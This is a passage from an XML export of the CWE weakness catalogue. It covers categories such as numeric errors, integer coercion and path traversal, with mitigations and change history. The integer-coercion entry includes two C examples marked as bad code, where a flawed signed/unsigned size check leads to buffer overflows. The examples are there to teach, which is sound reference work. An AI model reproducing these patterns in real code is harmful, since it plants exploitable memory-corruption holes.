				        <Description_Summary>Weaknesses in this category are related to improper handling of
					data within protection mechanisms that attempt to perform neutralization for
					untrusted data.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>137</Relationship_Target_ID>
					          <!--Representation Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>289</Relationship_Target_ID>
					          <!--Authentication Bypass by Alternate Name-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>845</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-44">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Avoid making decisions based on names of resources (e.g. files) if
							those resources can have alternate names.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an appropriate combination of black
							lists and white lists to ensure only valid, expected and appropriate
							input is processed by the system. For example, valid input may be in the
							form of an absolute pathname(s). You can also limit pathnames to exist
							on selected drives, have the format specified to include only separator
							characters (forward or backward slashes) and alphanumeric characters,
							and follow a naming convention such as having a maximum of 32 characters
							followed by a '.' and ending with specified extensions.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Canonicalize the name to match that of the file system's
							representation of the name. This can sometimes be achieved with an
							available API (e.g. in Win32 the GetFullPathName function).</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <References>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Cleansing, Canonicalization, and Comparison
						Errors</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Canonicalize path names before validating
						them</Mapped_Node_Name>
					          <Mapped_Node_ID>IDS02-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>267</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>3</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>43</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>52</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>53</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>64</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>71</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>72</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>78</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>79</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>80</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Related_Attack_Patterns,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="18" Name="Source Code" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are typically found within source
					code.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>17</Relationship_Target_ID>
					          <!--Code-->
				</Relationship>
			      </Relationships>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Landwehr">
					          <Mapped_Node_Name>Source Code</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Landwehr</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="189" Name="Numeric Errors" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to improper calculation
					or conversion of numbers.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>19</Relationship_Target_ID>
					          <!--Data Handling-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Numeric Errors</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="19" Name="Data Handling" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are typically found in
					functionality that processes data.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>18</Relationship_Target_ID>
					          <!--Source Code-->
				</Relationship>
			      </Relationships>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>100</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>99</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="192" Name="Integer Coercion Error" Status="Incomplete">
			      <Description>
				        <Description_Summary>Integer coercion refers to a set of flaws pertaining to the
					type casting, extension, or truncation of primitive data
					types.</Description_Summary>
				        <Extended_Description>
					          <Text>Several flaws fall under the category of integer coercion errors. For the
						most part, these errors in and of themselves result only in availability and
						data integrity issues. However, in some circumstances, they may result in
						other, more complicated security related flaws, such as buffer overflow
						conditions.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>681</Relationship_Target_ID>
					          <!--Incorrect Conversion between Numeric Types-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>682</Relationship_Target_ID>
					          <!--Incorrect Calculation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>195</Relationship_Target_ID>
					          <!--Signed to Unsigned Conversion Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>196</Relationship_Target_ID>
					          <!--Unsigned to Signed Conversion Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>197</Relationship_Target_ID>
					          <!--Numeric Truncation Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>194</Relationship_Target_ID>
					          <!--Unexpected Sign Extension-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>738</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>872</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
					          <Language Language_Name="Java"/>
					          <Language Language_Name=".NET"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>Within C, it might be that "coercion" is semantically different than
						"casting", possibly depending on whether the programmer directly specifies
						the conversion, or if the compiler does it implicitly. This has implications
						for the presentation of this node and others, such as CWE-681, and whether
						there is enough of a difference for these nodes to be split.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Integer coercion often leads to undefined states of execution
							resulting in infinite loops or crashes.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>In some cases, integer coercion errors can lead to exploitable buffer
							overflow conditions, resulting in the execution of arbitrary
							code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Integer coercion errors result in an incorrect value being stored for
							the variable in question.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>A language which throws exceptions on
							ambiguous data casts might be chosen.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Design objects and program flow such that multiple or complex casts
							are unnecessary</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that any data type casting that you must used is entirely
							understood in order to reduce the plausibility of error in use.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-21">
					          <Intro_Text>The following code is intended to read an incoming packet from a
						socket and extract one or more headers.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>DataPacket *packet;</Code>
							              <Code>int numHeaders;</Code>
							              <Code>PacketHeader *headers;</Code>
							              <Code/>
							              <Code>sock=AcceptSocketConnection();</Code>
							              <Code>ReadPacket(packet, sock);</Code>
							              <Code>numHeaders =packet-&gt;headers;</Code>
							              <Code/>
							              <Code>if (numHeaders &gt; 100) {</Code>
							              <Block>
								                <Code>ExitError("too many headers!");</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>headers = malloc(numHeaders * sizeof(PacketHeader);</Code>
							              <Code>ParsePacketHeaders(packet, headers);</Code>
						            </Block>
						            <Text> The code performs a check to make sure that the packet does not
							contain too many headers. However, numHeaders is defined as a signed
							int, so it could be negative. If the incoming packet specifies a value
							such as -3, then the malloc calculation will generate a negative number
							(say, -300 if each header can be a maximum of 100 bytes). When this
							result is provided to malloc(), it is first converted to a size_t type.
							This conversion then produces a large value such as 4294966996, which
							may cause malloc() to fail or to allocate an extremely large amount of
							memory (CWE-195). With the appropriate negative numbers, an attacker
							could trick malloc() into using a very small positive number, which then
							allocates a buffer that is much smaller than expected, potentially
							leading to a buffer overflow.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-23">
					          <Intro_Text>The following code reads a maximum size and performs a sanity check
						on that size. It then performs a strncpy, assuming it will not exceed the
						boundaries of the array. While the use of "short s" is forced in this
						particular example, short int's are frequently used within real-world code,
						such as code that processes structured data.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int GetUntrustedInt () {</Code>
							              <Block>
								                <Code>return(0x0000FFFF);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>void main (int argc, char **argv) {</Code>
							              <Block>
								                <Code>char path[256];</Code>
								                <Code>char *input;</Code>
								                <Code>int i;</Code>
								                <Code>short s;</Code>
								                <Code>unsigned int sz;</Code>
								                <Code/>
								                <Code>i = GetUntrustedInt();</Code>
								                <Code>s = i;</Code>
								                <Code>/* s is -1 so it passes the safety check - CWE-697 */</Code>
								                <Code>if (s &gt; 256) {</Code>
								                <Block>
									                  <Code>DiePainfully("go away!\n");</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>/* s is sign-extended and saved in sz */</Code>
								                <Code>sz = s;</Code>
								                <Code/>
								                <Code>/* output: i=65535, s=-1, sz=4294967295 - your mileage may
									vary */</Code>
								                <Code>printf("i=%d, s=%d, sz=%u\n", i, s, sz);</Code>
								                <Code/>
								                <Code>input = GetUserInput("Enter pathname:");</Code>
								                <Code/>
								                <Code>/* strncpy interprets s as unsigned int, so it's treated as
									MAX_INT</Code>
								                <Code>(CWE-195), enabling buffer overflow (CWE-119) */</Code>
								                <Code>strncpy(path, input, s);</Code>
								                <Code>path[255] = '\0'; /* don't want CWE-170 */</Code>
								                <Code>printf("Path is: %s\n", path);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> This code first exhibits an example of CWE-839, allowing "s" to be a
							negative number. When the negative short "s" is converted to an unsigned
							integer, it becomes an extremely large positive integer. When this
							converted integer is used by strncpy() it will lead to a buffer overflow
							(CWE-119). </Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 7: Integer Overflows." Page 119</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 6, "Sign Extension", Page 248.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Integer coercion error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Understand integer conversion rules</Mapped_Node_Name>
					          <Mapped_Node_ID>INT02-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not use input functions to convert character data if they
						cannot handle all possible inputs</Mapped_Node_Name>
					          <Mapped_Node_ID>INT05-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Ensure that integer conversions do not result in lost or
						misinterpreted data</Mapped_Node_Name>
					          <Mapped_Node_ID>INT31-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Understand integer conversion rules</Mapped_Node_Name>
					          <Mapped_Node_ID>INT02-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not use input functions to convert character data if they
						cannot handle all possible inputs</Mapped_Node_Name>
					          <Mapped_Node_ID>INT05-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Ensure that integer conversions do not result in lost or
						misinterpreted data</Mapped_Node_Name>
					          <Mapped_Node_ID>INT31-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Maintenance_Notes, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="199" Name="Information Management Errors" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to improper handling of
					sensitive information.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>19</Relationship_Target_ID>
					          <!--Data Handling-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="2" Name="Environment" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are typically introduced during
					unexpected environmental conditions.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>1</Relationship_Target_ID>
					          <!--Location-->
				</Relationship>
			      </Relationships>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="21" Name="Pathname Traversal and Equivalence Errors" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category can be used to access files outside
					of a restricted directory (path traversal) or to perform operations on files
					that would otherwise be restricted (path equivalence).</Description_Summary>
				        <Extended_Description>
					          <Text>Files, directories, and folders are so central to information technology
						that many different weaknesses and variants have been discovered. The
						manipulations generally involve special characters or sequences in
						pathnames, or the use of alternate references or channels.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an appropriate combination of black
							lists and white lists to ensure only valid and expected input is
							processed by the system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Pathname Traversal and Equivalence Errors</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
